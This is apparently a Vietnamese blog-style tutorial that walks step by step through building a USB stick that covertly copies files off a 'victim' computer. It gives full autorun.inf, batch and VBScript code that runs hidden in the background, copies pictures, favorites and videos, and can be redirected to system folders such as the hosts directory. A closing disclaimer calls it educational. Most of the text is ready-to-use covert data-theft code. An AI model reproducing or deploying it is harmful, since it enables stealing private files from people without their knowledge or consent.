Bước 1. Mở notepad và copy đoạn code sau, save lại thành file : autorun.inf
[autorun] icon=drive.ico open=launch.bat action=Click OK to Run shell\open\command=launch.bat
Ý nghĩa
Icon : Tạo icon cho usb, lựa chọn này không quan trọng lắm, các bạn bỏ đi cũng được
Open: Chỉ ra file sẽ được open (chúng ta sẽ tạo file launch.bat sau)
Action: đưa ra label Click OK to Run trong trường hợp máy tình victim đưa ra hộp thoại và phải click OK nó mới đọc USB tiếp
shell\open\command : dự phòng trường hợp victim click Cancel trong trường hợp chết (chạy đâu cũng chết )
Bước 2. Mở notepad và copy đoạn code sau, save lại thành file : file.bat
@echo off :: variables /min SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo off %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics" %backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites" %backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids" @echo off cls
Ý nghĩa
Đoạn lệnh trên sẽ copy tất cả các file trong pictures, Favorites, videos trên máy victim sang usb trong thư mục all
Các bạn hoàn toàn có thể thay đổi giá trị đường dẫn (%USERPROFILE%\pictures) thành đường dẫn khác để copy các file khác, ví dụ ở đây, mình muốn copy file hosts của victim thì sẽ sửa đường dẫn thành
%backupcmd% " C:\Windows\System32\drivers\etc " "%drive%\all\systemfile"
Bước 3. Mở notepad và copy đoạn code sau, save lại thành file : invisible.vbs
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
Ý nghĩa:
Tác dụng là làm cho quá trình chạy file file.bat ở chế đọ background, không có cửa sổ hay tiến trình nào hiển trị khi file file.bat chạy
Bước 4. Mở notepad và copy đoạn code sau, save lại thành file : launch.bat
wscript.exe \invisible.vbs file.bat
Tóm lại, quá trình sẽ diễn ra như sau
Cắm USB –> Chạy Lauch.bat –> Invisible –> File.bat
Sau khi tạo xong các file, copy toàn bộ 4 file này vào thư mục gôc USB (copy cả file icon nếu bạn muốn), tạo thư mục all.
OK, bây giờ thử nghiệm thôi
Note:
- Với một số hệ thống, có thể khi cắm usb nó không copy ngay mà phải open usb nó mới chịu copy. Không sao, 1 cái click chuột để copy 1 đống file là cũng khá rồi.
- Bài viết này mình chỉ hướng đến mục đích kiến thức bởi các antivirus bây giờ hoàn toàn có thể phát hiện được cách này